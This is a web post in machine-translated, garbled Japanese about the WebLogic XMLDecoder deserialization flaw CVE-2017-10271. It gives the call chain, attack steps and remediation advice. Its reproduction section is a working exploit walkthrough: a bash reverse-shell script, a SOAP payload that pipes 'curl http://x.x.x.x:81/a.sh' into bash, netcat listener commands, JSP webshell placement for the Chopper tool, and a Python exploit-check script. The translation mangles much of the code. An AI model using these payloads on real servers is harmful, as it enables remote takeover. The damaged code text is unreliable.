Jump to content

Weblogic XmldeCoderの脱シリア化の脆弱性(CVE-2017-10271)-----バックライオン

0x01脆弱性の説明

最近、ハッカーはウェブロジック脱派化脆弱性CVE-2017-3248およびWEBLOGIC WLS LS LS LS LSコンポーネントリモートコード実行可能性CVE-2017-10271を使用しました。 Oracleは2017年10月に脆弱性のためのパッチを公式にリリースしましたが、脆弱性の詳細は開示しませんでした。会社が時間内にパッチを設置しない場合、攻撃されるリスクがあります。エンタープライズサーバーで大規模なリモート攻撃が開始され、多数のエンタープライズサーバーに深刻な脅威をもたらしました。影響を受けるバージョン:10.3.6.0.0、12.1.3.0.0、12.2.1.1.0、12.2.1.2.0

0x02攻撃手順

攻撃者が攻撃のためにターゲットホストを選択した後、彼は最初にCVE-2017-3248を攻撃に使用します。成功しているかどうかに関係なく、彼はCVE-2017-10271を使用して攻撃します。各攻撃中に、最初にWindowsシステム、次にLinuxシステムをターゲットにします。特定の攻撃プロセスは次のとおりです。

1. WebLogic Deserializationの脆弱性(CVE-2017-3248)を使用してLinuxでWgetを呼び出してシェルスクリプトをダウンロードし、Linux local "/bin/bash"を呼び出してシェルスクリプトを実行します。 (シェルスクリプトは、リモートダウンロードから時計採掘プログラムの実行のコントロールの詳細を定義します)

2。ウェブロジックの脱派化の脆弱性(CVE-2017-3248)を使用して、サンプルのダウンロードと実行のためにWindowsでPowerShellを呼び出します。

3. WebLogic WLSコンポーネントの脆弱性(CVE-2017-10271)を使用してLinuxでWGETを呼び出してシェルスクリプトをダウンロードし、Linuxローカル「/bin/bash」を呼び出してシェルスクリプトを実行します。

4. WebLogic WLSコンポーネントの脆弱性(CVE-2017-10271)を使用して、サンプルのダウンロードと悪意のあるコード実行のためにWindowsでPowerShellを呼び出します。

5。この攻撃事件では、CVE-2017-3248は失敗しましたが、CVE-2017-10271は正常に利用され、サーバーが攻撃者によってキャプチャされ、システムログに痕跡が残りました。

0x03分析と利用

この脆弱性は、WLS-WSAT.WARに表示されます。このコンポーネントは、Weblogic独自のWebサービスハンドラーを使用して、SOAPリクエストを処理します。まず、weblogic.wsee.jaxws.workcontext.workcontextservertubeクラスでxmlデータを取得し、最後に解析のためにxmldecoderに渡します。解析XMLのコールチェーンはです

weblogic.wsee.jaxws.workcontext.workcontextservertube.processRequest

weblogic.wsee.jaxws.workcontext.workcontexttube.readheaderold

weblogic.wsee.workarea.workcontextxmlinputadapter

最初に参照してください

weblogic.wsee.jaxws.workcontext.workcontextservertube.processRequestメソッド

xa4ql2bcrov9146.jpg

localheader1を取得した後、readheaderoldメソッドに渡します。コンテンツは、Work:WorkContextにラップされたデータであり、フォローアップを継続します。

weblogic.wsee.jaxws.workcontext.workcontexttube.readheaderoldメソッド

0vgqnkd3vjg9147.jpg

この方法では、WorkContextXmlinputadapterクラスがインスタンス化され、取得されたXML形式のシリアル化データがこのタイプの構造方法に渡され、最後にスターリア化がXMldeCoderを介して実行されます。

ijfbwtdrtn39148.jpg

XmldeCoderの脱力化問題は、13年で発見されました。最近、Weblogicで再び使用されています。これは、Javaエコシステムのセキュリティの問題がどれほど悪いかを示しています。 CVE-2017-3506によって提供されるパッチを修正するOracleの公式は、XMLがオブジェクトノードを含むかどうかを確認し、オブジェクトをvoidに置き換えてこのパッチをバイパスするため、この脆弱性には2つのCVE番号があることに言及する価値があります。したがって、修理プロセス中に、ユーザーは10月にOracleの役人が提供するパッチを使用する必要があります。

0x04脆弱性の再発

必要な環境VPSサーバー:ubuntu16.4 IP:x.x.x.x

必要なソフトウェア:burpusit

一般的に、Weblogicはポート7001と7002を開きます。

/wls-wsat /coordinatorporttype11ディレクトリにアクセスすると、次の図は脆弱性がある可能性があることを示しています。

http://11.203.x.x/wls-wsat/coordinatorporttype

z3bp1qh3qt19149.jpg

最初に外部ネットワークサーバーにPython2.7をインストールします

sudo apt-getインストールpython2.7

次に、外部ネットワークVPSサーバーで、VIMを使用してA.Shなどのリバウンドスクリプトを書き込みます(独自のサーバーIPとNCで聴くポートに記入)

bash -i/dev/tcp/vpsip/ncport 01

または

/bin/bash -i/dev/vpsip/ncport 01

wmb1uwu00v59150.jpg

Xshellを使用してサーバーに接続して実行します(PythonサーバーポートとNCポートは、独自の裁量で設定できます)

python -m simplehttpserver pythonportおよびnc -lvp ncport

kzgcztmuvfa9151.jpg

fiz2snijpxa9152.jpg

実行後、PCを使用してテストできます

POST/WLS-WSAT/COORDINATORPORTTYPE HTTP/1.1

host: 11.203.x.x

Accept-Encoding: ID

Content-Length: 695

Accept-Language: ZH-CN、ZH; Q=0.8

Accept: */*

user-agent: mozilla/5.0(Windows NT 5.1; RV:5.0)Gecko/20100101 Firefox/5.0

Accept-charset: GBK、utf-8; q=0.7、*; q=0.3

Connection: Keep-Alive

Cache-Control: Max-age=0

Content-Type:テキスト/XML

soapenv3360envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'

soapenv3360header

work:workcontext xmlns:work='http://bea.com/2004/06/soap/workarea/'

Javaバージョン='1.8.0_131' class='java.beans.xmldecoder'

void class='java.lang.processbuilder'

array class='java.lang.string' length='3'

void index='0'

文字列/bin/bash/string

/空所

void index='1'

文字列-C/文字列

/空所

void index='2'

StringCurl http://x.x.x.x.x:81/a.sh | bash/string

/空所

/配列

void method='start' //void

/java

/work:workcontext

/soapenv3360header

soapenv:body/

/soapenv3360envelope

上記のコードをBurpsuitのリピーターにコピーします。コードのHost: 11.203.x.xは、攻撃するターゲットオブジェクトに変更する必要があり、ターゲットのHSOTとポートもターゲットアドレスとポートに基づいていることに注意してください。

ds2tmhtxlwj9153.jpg

その中で

void index='2'

StringCurl http://x.x.x.x.x:81/a.sh | bash/string

/空所

また、実際に変更する必要があります

次に、リピーターのGOを実行します

サーバーが返されます

HTTP/1.1 500内部サーバーエラー

Connection:閉じます

日付: SAT、2017年12月23日05336016:01 GMT

Content-Type: Text/XML; charset=utf-8

X-Powered-by:サーブレット/2.5 JSP/2.1

Content-Length: 262

?xmlバージョン='1.0' encoding='utf-8'?s:envelope xmlns:s='http://schemas.xmlsoap.org/soap/envelope/' S:BODYS:FAULT XMLNS:NS4='http://WWW.W3.ORG/2003/05/SOAP-ENVELOPE'FAULTCODES:SERVER/FASTRCODEFAULTSTRING0/FAULTSTRING/S:FAULT/S:BODY/S3360ENVELOPE

その後、VPS 0sixo0ipytr9154.jpgにリバウンドシェルが表示されます

シェルを取得したい場合は大丈夫です

サーバー/adminserver/tmp/_wl_internal/bea_wls_internal/9j4dqk/war/directoryに直接CD。これは、システムのデフォルトディレクトリです。次に、POCでJSPスクリプトをWGETしてから、MVコマンドを使用してこのディレクトリに移動できます。最も重要なことは、包丁に接続する場合、接続されたディレクトリではなく、/bea_wls_internal /ディレクトリの下のスクリプトファイルであることです。

PCチェックスクリプトを添付してください:

#Coding:UTF-8

#!/bin/env python2

リクエストをインポートします

Reをインポートします

sysをインポートします

Requests.packages.urllib3.ExceptionsからIntert IntersecureRequestWarningから

#セキュリティリクエストの警告を無効にします

requests.packages.urllib3.disable_warnings(insecureRequestWarning)

#weblogicの脆弱性のアドレスを決定するために、PCがないため、当面はこの住所しか判断できません

check_addr='/wls-wsat/coordinatorporttype11'

shell_addr='/bea_wls_internal/connect.jsp'

heads={'user-agent':' mozilla/5.0(windows nt 6.1)applewebkit/537.36(khtml、yike gecko)chrome/56.0.2924.87 Safari/537.36 '、

'Accept':' text/html、application/xhtml+xml、application/xml; q=0.9、image/webp、*/*; q=0.8 '、

'Accept-Language':' zh-cn、zh; q=0.8 '、

'Soapaction':' '、

'content-type':' text/xml; charset=utf-8 '

}

post_str='' '

soapenv3360envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'

soapenv3360header

work:workcontext xmlns:work='http://bea.com/2004/06/soap/workarea/'

Java

オブジェクトクラス='java.lang.processbuilder'

array class='java.lang.string' length='3'

void index='0'

文字列/bin/sh/文字列

/空所

void index='1'

文字列-C/文字列

/空所

void index='2'

stringfind $ domain_home -type d -name bea_wls_internal |読みながら$ f -Type f -Nameを見つけます

index.html; done | ff ff; do echo vulexist $(dirname $ ff)/connect.jsp; done/string

/空所

/配列

void method='start'/

/物体

/java

/work:workcontext

/soapenv3360header

soapenv:body/

/soapenv3360envelope

'' '

def check(url):

#print( '%d url:%s'%の検出(status_num、url))

vuln_url=url + check_addr

content=requests.get(vuln_url、verify=false、timeout=10)

content.status_code==200:の場合

rsp=requests.post(vuln_url、headers=heads、data=post_str.encode(

'utf-8')、検証=false、タイムアウト=10)

content=rsp.content

re.search(r'java \ .lang \ .processbuilder '、content、re.i):の場合

#印刷'getshell success、shell is:%s'%(url+shell_addr)

string_to_write='おめでとう! weblogicリモートコマンド実行の脆弱性が存在する: \ n ' + url + shell_addr +' \ n '

string_to_writeを印刷します

else:

印刷「失敗」

else:

print(content.status_code)

#脆弱性が存在するかどうかを判断します

#ターゲット=sys.argv [1]

ターゲット='https://x.x.x.com'

print( ''+ターゲットのweblogic vulのチェック)

チェック(ターゲット)

#渡されたターゲットはhttp://www.baidu.com形式(ポートなし)です

0x04脆弱性修復の提案

1。一時的な解決策

攻撃者のPOC分析によると、使用されるコーディネーターポートタイプインターフェイスはWLS-WSATコンポーネントです。このコンポーネントがWeblogicサーバークラスターに適用されていない場合は、このコンポーネントを一時的にバックアップして削除し、保護機能が形成された後に復元することをお勧めします。

実際の環境パスに従って、WebLogic WLS-WSATコンポーネントを削除します。

rm -f /home/weblogic/oracle/middleware/wlserver_10.3/server/lib/wls-wsat.war

rm -f /home/weblogic/oracle/middleware/user_projects/domains/base_domain/servers/adminserver/tmp/.internal/wls-wsat.war

rm -rf/home/weblogic/oracle/middleware/user_projects/domains/base_domain/servers/adminserver/tmp/_wl_internal/wls -wsat

WebLogic Domain Controller Service :を再起動します

domain_name/bin/stopweblogic.sh #stopサービス

domain_name/bin/startmanagedweblogic.sh #Startサービス

上記のファイルを削除した後、WebLogicを再起動する必要があります。 http://weblogic_ip/wls-wsat/が404ページかどうかを確認します。

2。公式パッチ修理

10月に提供されるセキュリティパッチをダウンロードするために、Oracleの公式Webサイトにアクセスしてください

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

アップグレードプロセスについては、次のことを参照してください。

http://blog.csdn.net/qqlifu/article/details/49423839

3。オンライン検査ツール

http://Adlab.venustech.com.cn/vulscan

https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?page_id=12

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

経験の概要:

Linuxの下のリスニングポートは、複数のIPで回転できます

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...